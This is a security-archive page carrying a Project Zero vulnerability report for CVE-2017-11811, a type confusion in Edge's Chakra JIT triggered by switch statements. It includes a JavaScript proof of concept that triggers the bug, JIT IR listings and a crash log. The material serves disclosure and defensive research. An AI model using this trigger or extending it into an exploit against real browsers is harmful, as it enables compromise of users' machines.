Twenty Year Anniversary

Microsoft Edge Chakra JIT Type Confusion

Microsoft Edge Chakra JIT Type Confusion
Posted Nov 16, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra suffers from a JIT related type confusion vulnerability with switch statements.

tags | exploit
advisories | CVE-2017-11811
MD5 | 8f8c70e8979dd42b0451c66d98b096e6

Microsoft Edge Chakra JIT Type Confusion

Change Mirror Download
Microsoft Edge: Chakra: JIT: Type confusion with switch statements 

CVE-2017-11811


Let's start with a switch statement and its IR code for JIT.

JS:
for (let i = 0; i < 100; i++) {
switch (i) {
case 2:
case 4:
case 6:
case 8:
case 10:
case 12:
case 14:
case 16:
case 18:
case 20:
case 22:
case 24:
case 26:
case 28:
case 30:
case 32:
case 34:
case 36:
case 38:
break;
}
}

IRs before Type Specialization:
s26.var = Ld_A s24.var - "i" #0011 Bailout: #0011 (BailOutExpectingInteger)
BrLt_A $L2, s26.var, s5.var #0070
$L9: #0070
BrGt_A $L2, s26.var, s23.var #0070
$L8: #0070
s28.var = Sub_A s26.var, 2 (0x2).i32 #0070 // Because of the minimum case is 2, subtracting 2 from i. s28 is a temporary variable.
MultiBr ..., s28.var #0070

IRs after Type Specialization:
s52(s26).i32 = Ld_A s51(s24).i32 - "i" #0011
BrLt_I4 $L2, s51(s24).i32, 2 (0x2).i32 #0070
$L9: #0070
BrGt_I4 $L2, s51(s24).i32, 38 (0x26).i32 #0070
$L8: #0070
s53(s28).i32 = Sub_I4 s51(s24).i32, 2 (0x2).i32 #0070
MultiBr ..., s53(s28).i32! #0070



MultiBr instructions' offset operand(s28 in the above) must be of type Int32. If not, type confusion will occur. The way to ensure it is to use BailOutExpectingInteger.

In the above code, "s26" is ensured to be of type Int32 by the bailout. So, the other variables affected by "s26" including the offset variable "s28" are also ensured to be of type Int32. But in the Common Subexpression Elimination phase, it doesn't consider the bailouts. So we can abuse this.

Common Subexpression Elimination: <a href="https://en.wikipedia.org/wiki/Common_subexpression_elimination" title="" class="" rel="nofollow">https://en.wikipedia.org/wiki/Common_subexpression_elimination</a>

What I noticed is "s28.var = Sub_A s26.var, 2 (0x2).i32". If we declare a variable "j" with "i - 2", the offset variable "s28" will be replaced with "j".

JS:
for (let i = 0; i < 100; i++) {
let j = i - 2;
switch (i) {
case 2:
case 4:
case 6:
case 8:
case 10:
case 12:
case 14:
case 16:
case 18:
case 20:
case 22:
case 24:
case 26:
case 28:
case 30:
case 32:
case 34:
case 36:
case 38:
break;
}
}

IR:
Line 3: let j = i - 2;
Col 9: ^
StatementBoundary #2 #0013
s55(s28).i32 = Sub_I4 s54(s24).i32, 2 (0x2).i32 #0013


Line 4: switch (i) {
Col 9: ^
StatementBoundary #3 #001a // BailOutExpectingInteger
BrLt_I4 $L2, s54(s24).i32, 2 (0x2).i32 #0079
BrGt_I4 $L2, s54(s24).i32, 38 (0x26).i32 #0079
MultiBr ..., s55(s28).i32! #0079


The offset variable is replaced with "j" that is not ensured to be of type Int32. The next step is just to create a case that "j" can't be of type Int32.

JS:
for (let i = 0; i < 100; i++) {
let j = i - 2;
switch (i) {
case 2:
case 4:
case 6:
case 8:
case 10:
case 12:
case 14:
case 16:
case 18:
case 20:
case 22:
case 24:
case 26:
case 28:
case 30:
case 32:
case 34:
case 36:
case 38:
break;
}

if (i == 39)
i = 'aaaa';
}
(Actually "j" is always Int32 in the above code. But Chakra can't distinguish.)

IR:
Line 3: let j = i - 2;
Col 9: ^
StatementBoundary #2 #0013
s30[LikelyCanBeTaggedValue_Int].var = Sub_A s26[LikelyCanBeTaggedValue_Int_Number].var, 0x1000000000002.var #0013
s27[LikelyCanBeTaggedValue_Int].var = Ld_A s30[isTempLastUse][LikelyCanBeTaggedValue_Int].var! #0017


Line 4: switch (i) {
Col 9: ^
StatementBoundary #3 #001a
s63(s26).i32 = FromVar s26[LikelyCanBeTaggedValue_Int_Number].var #001a Bailout: #001a (BailOutExpectingInteger)
BrLt_I4 $L4, s63(s26).i32, 2 (0x2).i32 #0079
BrGt_I4 $L4, s63(s26).i32, 38 (0x26).i32 #0079
MultiBr ..., s27[LikelyCanBeTaggedValue_Int].var #0079


It ended up to use "j" of type Var as the offset variable.

PoC:
function opt() {
for (let i = 0; i < 100; i++) {
let j = i - 2;
switch (i) {
case 2:
case 4:
case 6:
case 8:
case 10:
case 12:
case 14:
case 16:
case 18:
case 20:
case 22:
case 24:
case 26:
case 28:
case 30:
case 32:
case 34:
case 36:
case 38:
break;
}

if (i == 90) {
i = 'x';
}
}
}

function main() {
for (let i = 0; i < 100; i++) {
opt();
}
}

main();

Crash Log:
RAX: 0x1
RBX: 0x7ffff7e04824 --> 0x100000000
RCX: 0x3
RDX: 0x7ffff0b20667 (loope 0x7ffff0b2066d)
RSI: 0x80000001
RDI: 0x7ffff0c182a0 --> 0x7ffff6478a10 --> 0x7ffff5986230 (<Js::DynamicObject::Finalize(bool)>: push rbp)
RBP: 0x7fffffff2130 --> 0x7fffffff21b0 --> 0x7fffffff2400 --> 0x7fffffff2480 --> 0x7fffffff24d0 --> 0x7fffffff52f0 (--> ...)
RSP: 0x7fffffff20c0 --> 0x1111015500000002
RIP: 0x7ffff0b204da (mov rdx,QWORD PTR [rdx+<a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>*8])
<a href="https://crrev.com/8" title="" class="" rel="nofollow">R8</a> : 0x0
<a href="https://crrev.com/9" title="" class="" rel="nofollow">R9</a> : 0x0
<a href="https://crrev.com/10" title="" class="" rel="nofollow">R10</a>: 0x7ffff0b20400 (movabs rax,0x555555879018)
<a href="https://crrev.com/11" title="" class="" rel="nofollow">R11</a>: 0x206
<a href="https://crrev.com/12" title="" class="" rel="nofollow">R12</a>: 0x7fffffff5580 --> 0x7ffff0ba0000 --> 0xeb021a471b4f1a4f
<a href="https://crrev.com/13" title="" class="" rel="nofollow">R13</a>: 0x1000000000001 << Var 1
<a href="https://crrev.com/14" title="" class="" rel="nofollow">R14</a>: 0x1000000000003
<a href="https://crrev.com/15" title="" class="" rel="nofollow">R15</a>: 0x7ffff0c79040 --> 0x7ffff643c050 --> 0x7ffff5521130 (<Js::RecyclableObject::Finalize(bool)>: push rbp)
EFLAGS: 0x10297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff0b204cb: cmp ecx,0x26
0x7ffff0b204ce: jg 0x7ffff0b204e1
0x7ffff0b204d0: movabs rdx,0x7ffff0b20667
=> 0x7ffff0b204da: mov rdx,QWORD PTR [rdx+<a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>*8]
0x7ffff0b204de: rex.W jmp rdx


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

July 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    1 Files
  • 2
    Jul 2nd
    26 Files
  • 3
    Jul 3rd
    15 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    13 Files
  • 6
    Jul 6th
    4 Files
  • 7
    Jul 7th
    4 Files
  • 8
    Jul 8th
    1 Files
  • 9
    Jul 9th
    16 Files
  • 10
    Jul 10th
    15 Files
  • 11
    Jul 11th
    32 Files
  • 12
    Jul 12th
    22 Files
  • 13
    Jul 13th
    15 Files
  • 14
    Jul 14th
    1 Files
  • 15
    Jul 15th
    1 Files
  • 16
    Jul 16th
    21 Files
  • 17
    Jul 17th
    15 Files
  • 18
    Jul 18th
    15 Files
  • 19
    Jul 19th
    17 Files
  • 20
    Jul 20th
    11 Files
  • 21
    Jul 21st
    1 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close